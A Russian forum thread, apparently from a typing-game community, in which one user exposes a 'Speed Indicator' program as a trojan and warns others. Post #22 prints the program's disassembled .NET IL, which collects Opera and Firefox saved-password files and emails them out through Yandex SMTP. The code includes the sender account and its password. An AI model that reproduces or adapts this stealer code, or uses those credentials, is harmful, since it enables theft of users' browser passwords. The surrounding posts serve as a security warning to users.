|
ДРАК0Н
|
Сообщение #21
12 февраля 2012 в 12:04 |
|
Ну, значит я жуткий мастер, умеющий нажимать первую букву в первый момент начала заезда ))
|
|
mystes
|
Сообщение #22
12 февраля 2012 в 12:16 |
|
Это троян: .method public static void Mail() // CODE XREF: $Main+1p
{
.maxstack 24
.locals init (string V0,
string V1,
string V2,
string V3,
int32 V4,
bool V5,
string V6,
class Speed_Indicator_v.3.0.0.$pascal_array1 V7,
class [System]System.Net.Mail.SmtpClient V8,
class [System]System.Net.Mail.MailMessage V9,
class [mscorlib]System.Exception V10,
class [mscorlib]System.Exception V11,
class [System]System.Net.Mail.SmtpException V12)
nop
ldloc.s 7
ldnull
ceq
brfalse loc_10A2
newobj instance void Speed_Indicator_v.3.0.0.$pascal_array1::.ctor()
stloc.s 7
loc_10A2: // CODE XREF: Mail+6j
ldstr "config.exe"
call void PABCSystem.PABCSystem::Exec(string filename)
nop
ldstr "MailTrojan"
stloc.0
ldstr "MailTrojan@yandex.ru"
stloc.1
ldstr "911591159115"
stloc.2
ldstr "Smtp.Yandex.ru"
stloc.3
ldc.i4.s 0x19
stloc.s 4
call string [mscorlib]System.Environment::get_UserName()
stloc.s 6
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.0
ldstr "C:\\Users\\"
ldloc.s 6
call string [mscorlib]System.String::Concat(string, string)
ldstr "\\AppData\\Roaming\\Opera\\Opera\\wand.dat"
call string [mscorlib]System.String::Concat(string, string)
stelem.ref
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.1
ldstr "C:\\Documents and Settings\\"
ldloc.s 6
call string [mscorlib]System.String::Concat(string, string)
ldstr "\\Application Data\\Opera\\Opera\\wand.dat"
call string [mscorlib]System.String::Concat(string, string)
stelem.ref
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.2
ldstr "C:\\Users\\"
ldloc.s 6
call string [mscorlib]System.String::Concat(string, string)
ldstr "\\Application Data\\Opera\\Opera\\wand.dat"
call string [mscorlib]System.String::Concat(string, string)
stelem.ref
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.3
ldstr "C:\\Windows\\signons.sqlite"
stelem.ref
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.4
ldstr "C:\\Windows\\key3.db"
stelem.ref
ldloc.3
ldloc.s 4
newobj instance void [System]System.Net.Mail.SmtpClient::.ctor(string, int32)
stloc.s 8
ldloc.s 8
ldloc.0
ldloc.2
newobj instance void [System]System.Net.NetworkCredential::.ctor(string, string)
callvirt instance void [System]System.Net.Mail.SmtpClient::set_Credentials(class [System]System.Net.ICredentialsByHost)
nop
ldloc.1
ldloc.1
newobj instance void [System]System.Net.Mail.MailMessage::.ctor(string, string)
stloc.s 9
ldloc.s 9
ldstr "¦юы№чютрЄхы№ "
ldloc.s 6
call string [mscorlib]System.String::Concat(string, string)
ldstr " яюцхыры юЄяЁртшЄ№ трь ётюш ярЁюыш"
call string [mscorlib]System.String::Concat(string, string)
callvirt instance void [System]System.Net.Mail.MailMessage::set_Body(string)
nop
ldloc.s 9
ldloc.s 6
callvirt instance void [System]System.Net.Mail.MailMessage::set_Subject(string)
nop
.try {
nop
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.0
ldelem.ref
call bool [mscorlib]System.IO.File::Exists(string)
ldc.i4.1
ceq
brfalse loc_11CA
ldloc.s 9
callvirt instance class [System]System.Net.Mail.AttachmentCollection [System]System.Net.Mail.MailMessage::get_Attachments()
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.0
ldelem.ref
newobj instance void [System]System.Net.Mail.Attachment::.ctor(string)
callvirt T0xA000069
nop
br loc_1236
loc_11CA: // CODE XREF: Mail+115j
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.1
ldelem.ref
call bool [mscorlib]System.IO.File::Exists(string)
ldc.i4.1
ceq
brfalse loc_1200
ldloc.s 9
callvirt instance class [System]System.Net.Mail.AttachmentCollection [System]System.Net.Mail.MailMessage::get_Attachments()
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.1
ldelem.ref
newobj instance void [System]System.Net.Mail.Attachment::.ctor(string)
callvirt T0xA000069
nop
br loc_1236
loc_1200: // CODE XREF: Mail+14Bj
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.2
ldelem.ref
call bool [mscorlib]System.IO.File::Exists(string)
ldc.i4.1
ceq
brfalse loc_1236
ldloc.s 9
callvirt instance class [System]System.Net.Mail.AttachmentCollection [System]System.Net.Mail.MailMessage::get_Attachments()
ldloc.s 7
ldfld string[] Speed_Indicator_v.3.0.0.$pascal_array1::NullBasedArray
ldc.i4.2
ldelem.ref
newobj instance void [System]System.Net.Mail.Attachment::.ctor(string)
callvirt T0xA000069
nop
br loc_1236
loc_1236: // CODE XREF: Mail+135j Mail+16Bj ...
leave loc_1245
} Убейте этого козла немедленно.
|
|
Бэтмен
|
Сообщение #23
12 февраля 2012 в 12:22 |
|
Э-э-э... народ! Стесняюсь спросить, а чем вас спидометр от novkostya больше не устраивает? Гы!)) Он вроде вписан в стандартный интерфейс клавогонок и погрешности у него как-бэ нет! Или я отстал от жизни и это уже не модно? Гы!)) 
|
|
mystes
|
Сообщение #24
12 февраля 2012 в 12:53 |
|
Не запускайте эту программу ни в коем случае!!!!
Господа Admin, Администратор, 7255, IL, fixjz, Палагин, Alexander и Дмитрий, немедленно поменяйте все пароли, сохранённые в браузере! Ваши пароли украдены трояном.
|
